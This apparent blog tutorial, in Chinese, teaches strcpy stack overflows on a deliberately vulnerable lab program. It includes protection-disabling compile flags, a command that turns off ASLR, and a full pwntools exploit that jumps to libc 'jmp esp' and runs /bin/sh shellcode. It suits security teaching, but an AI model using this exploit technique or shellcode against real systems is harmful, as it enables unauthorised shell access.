引言
在剛剛開始學校C語言的時候,很多人都用過strcpy這個函數。簡單說是一個內存複製的函數。這個函數確實非常方便,但是這個函數是非常不安全,由與這個函數而產生的緩衝區溢出漏洞在很多文章中都有所介紹。我們應該摒棄strcpy的使用,而是用strncpy進行代替。
原型聲明:char *strcpy(char* dest, const char *src);
頭文件:#include <string.h> 和 #include <stdio.h>
功能:把從src地址開始且含有NULL結束符的字符串複製到以dest開始的地址空間
說明:src和dest所指內存區域不可以重疊且dest必須有足夠的空間來容納src的字符串。
既然這個函數能造成緩衝區溢出漏洞,那麼這個漏洞究竟是什麼樣子的那,怎麼利用這個漏洞那。很多文章對這個卻搞的諱莫如深,讓人一頭霧水。要弄懂這個,我們先了解下Linux下32爲程序函數調用約定。
函數調用約定(32位)
以下是一個簡單的C程序stackOf.c,後續的內容也是圍繞這這個程序展開的。
#include<stdio.h>
#include <unistd.h>
#include <string.h>
void vul(char * msg){
char buffer[64] ;
strcpy(buffer,msg);
return ;
}
int main(){
puts("please give me your shellcode:");
char shellcode[256];
memset(shellcode,0,256);
read(0,shellcode,256);
vul(shellcode);
return 0;
}
這個程序的功能很簡單,就是將輸入的內容複製到buffer中。不過這裏有一個問題,buffer只有64個字節,而輸入卻可以是256個字節,這會引發什麼問題那?下面部分再說。
這裏我們來看在執行 vul(shellcode);的時候,對應的彙編代碼是什麼樣子的那,以及進入vul函數和退出vul函數的時候,堆棧的變化情況。
函數調用主要有兩個點需要關注:
(1)參數的出入方式
(2)堆棧的平衡
這個例子中只有一個參數,可以看出先進行push eax操作,在執行call sym.vul。也就是先將參數入棧,再進行調用操作。
CALL指令(“調用”指令)的功能,就是以下兩點:
- 將下一條指令的所在地址(即當時程序計數器PC的內容)入棧,
- 並將子程序的起始地址送入PC(於是CPU的下一條指令就會轉去執行子程序)
流程如下圖所示:
在看下vul的彙編代碼:首先將老的ebp入棧,爲何需要這一步,爲了方便棧回溯。至於棧回溯的問題,後續會單獨來說。
重點來說一下leave和ret指令:
CPU執行ret指令時,進行下面的兩步操作:
(IP) = ((ss)*16 +(sp))(返回地址)
(esp) = (esp)+2(32爲是+4)leave指令的作用: 在32位彙編下相當於:
mov esp,ebp;//將ebp指向(ebp內部應當保存一個地址,所謂指向即這個地址對應的空間)的值賦給esp
pop ebp
程序編譯運行
編譯stackOf.c
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c
運行結果如下:
最好加一條命令關閉系統的的地址隨機化
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
如果是root用戶,可以使用:
echo 0 > /proc/sys/kernel/randomize_va_space
查資料結論是sudo命令不支持重定向。
攻擊的思路
這裏來說說一下buffer只有64個字節,而輸入卻可以是256個字節,這會引發的問題。當用戶輸入過長時,會向高地址覆蓋。
如果將返回地址覆蓋爲:
就是將返回地址覆蓋爲jum esp的地址,這樣當函數返回的時候,eip指向的就是jmp esp的地址
我們精心設計的buffer= 填充字符 + jmp_esp地址 +shellcode
填充數據
那麼數據是怎麼計算出來的那。
用r2進行調試(gdb也可以),在strcpy出下斷點,運行:
通過分析vul的彙編代碼,可知在strcpy調用前將ebx(0xffa97850)入棧,而這就是buffer的起始地址,ebp的地址是0xffa97898,兩者相見是0x48 = 64+8 = 72, 別忘了還有ebp在進入函數的時候也入棧了,所以還需要加上4個字節,也就是76個字節。
jmp esp地址
通過ldd命令可查看libc.so的加載地址
UTF-8這個需要加上,能夠避免中文亂碼。
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運行程序
p.recvuntil("shellcode:") #當接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
jmp esp在程序裏的地址 : jmp_esp_addr = jmp_esp_addr_offset+libc_base
,結合圖解一下
編寫shellcode
具體怎麼編寫可參考:https://blog.csdn.net/helloworlddm/article/details/106594677
shellcode如下所示:
'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
完整攻擊代碼
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運行程序
p.recvuntil("shellcode:") #當接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
#構造佈局
buf = 'A'*76
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #發送構造後的buf
p.interactive()
攻擊效果
從圖中可以看出我們居然獲得了shell,那刪除文件、瀏覽文件、複製文件等等很多操作都可以隨心所欲。
公衆號
更多漏洞信息可關注公衆號: